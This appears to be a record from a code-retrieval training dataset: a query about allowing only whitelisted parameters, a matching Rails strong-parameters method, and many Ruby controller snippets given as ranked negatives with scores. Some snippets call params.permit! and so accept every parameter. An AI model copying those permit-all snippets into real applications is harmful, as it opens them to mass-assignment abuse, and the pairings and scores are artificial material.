Event.find(ENV['demopage'].to_i)\n @event_code = @event.event_code\n @url = demo_record_vg_url(:event_code => @event.event_code)\n\n\n @first_plan = Plan.find_by_my_plan_id(plan_set_one) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @second_plan = Plan.find_by_my_plan_id(plan_set_two)\n @third_plan = Plan.find_by_my_plan_id(plan_set_three)\n render :unsigned_home, :layout => nil\n end\n\n end", "def index_user\n p \"*\" * 50\n p \"index_user\"\n if current_user.status == \"teacher\" || current_user.admin?# && !current_user?(user)\n user_id = current_user.id\n @user = User.find(user_id)\n @exercises = Exercise.where(user_id: @user.id)\n elsif current_user.status == \"student\"\n redirect_to(current_user)\n end\n \n end", "def info_for_new_page\n # TODO FIX BUG WHEN SAVING FAILS LINKED MENTOR IS UNSET\n @is_super_adm = is_super?\n\n if @is_super_adm\n # Loading Choosing of adm\n @admins = User.admins_list\n\n @mentors =\n if @admins.empty?\n [@admins]\n else\n User.mentors_list(@admins.first[1], additional_users: User.all_local_admins)\n end\n elsif current_user.local_admin?\n @mentors = User.mentors_list(current_user.role_model.id, additional_users: [current_user])\n end\n end", "def donizetti; end" ]
[ "0.5859007", "0.5813787", "0.5813099", "0.5725672", "0.57104653", "0.56650126", "0.56344134", "0.56092334", "0.56020164", "0.5597841", "0.55816436", "0.5536892", "0.5518467", "0.5498936", "0.54964286", "0.54804224", "0.54634935", "0.54622227", "0.5458884", "0.54402953", "0.5423908", "0.54074836", "0.5383511", "0.5382395", "0.5376596", "0.5370977", "0.5368027", "0.5349744", "0.5349663", "0.5347265", "0.5332118", "0.53300434", "0.5323196", "0.53191245", "0.53109396", "0.53105223", "0.53088504", "0.530396", "0.5302367", "0.5298989", "0.5295029", "0.5277718", "0.5269963", "0.52692413", "0.5265429", "0.5258934", "0.5254526", "0.5248885", "0.5243647", "0.5225121", "0.5220042", "0.5218222", "0.5215457", "0.52152365", "0.5213582", "0.5207201", "0.5197548", "0.51966524", "0.51911443", "0.5189883", "0.518854", "0.5188119", "0.5184773", "0.51819134", "0.5177805", "0.5163799", "0.51630056", "0.51619524", "0.5145491", "0.5142442", "0.51420873", "0.5141701", "0.5140033", "0.51394147", "0.5127569", "0.51274717", "0.51256585", "0.5125145", "0.51201", "0.51179975", "0.51176596", "0.51172924", "0.5116215", "0.51143724", "0.511017", "0.5101072", "0.51001036", "0.50989866", "0.5097045", "0.50960094", "0.50912356", "0.50901407", "0.5084194", "0.5084128", "0.50839335", "0.5082831", "0.50807583", "0.5077972", "0.50747657", "0.5072908", "0.50728446" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def section_params params.require(:section).permit(:name, students_attributes: [:name, :username, :password, :provider]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def filtering_params\n params.permit(:email)\n end", "def active_code_params\n params[:active_code].permit\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def filter_parameters; end", "def filter_parameters; end", "def list_params\n params.permit(:name)\n end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981606", "0.6784227", "0.6746523", "0.67439264", "0.67361516", "0.6593381", "0.6506166", "0.64994407", "0.6483518", "0.64797056", "0.64578557", "0.6441216", "0.63811713", "0.63773805", "0.6366333", "0.63217646", "0.6301816", "0.63009787", "0.6294436", "0.62940663", "0.6292164", "0.62917984", "0.62836355", "0.6242686", "0.6241917", "0.62210834", "0.6214862", "0.62125784", "0.619428", "0.617912", "0.617705", "0.61735916", "0.6163706", "0.61532795", "0.6152666", "0.6148062", "0.6123372", "0.61180484", "0.61088324", "0.6106139", "0.60925204", "0.608326", "0.60711503", "0.606551", "0.60216546", "0.6018924", "0.6015004", "0.60106766", "0.6008301", "0.6008301", "0.60028726", "0.60020626", "0.5999236", "0.59931505", "0.5993037", "0.59917194", "0.5982164", "0.5968051", "0.5960277", "0.5960268", "0.5960012", "0.59594494", "0.5954652", "0.5954304", "0.59440255", "0.59404963", "0.59404963", "0.59401006", "0.593522", "0.5932182", "0.5925528", "0.5924541", "0.5918796", "0.59123147", "0.5910144", "0.5909186", "0.5907257", "0.5899382", "0.5897783", "0.58972496", "0.58958495", "0.58948576", "0.5892734", "0.5888056", "0.58843875", "0.58818483", "0.5873746", "0.58700997", "0.5870056", "0.5869255", "0.58668107", "0.58662325", "0.5865003", "0.5862908", "0.5862406", "0.58614665", "0.5859661", "0.585562", "0.5855185", "0.58523446", "0.58504915" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_contract @contract = Contract.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def contract_params params.require(:contract).permit(:status, :contractor_id, :user_profile_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this 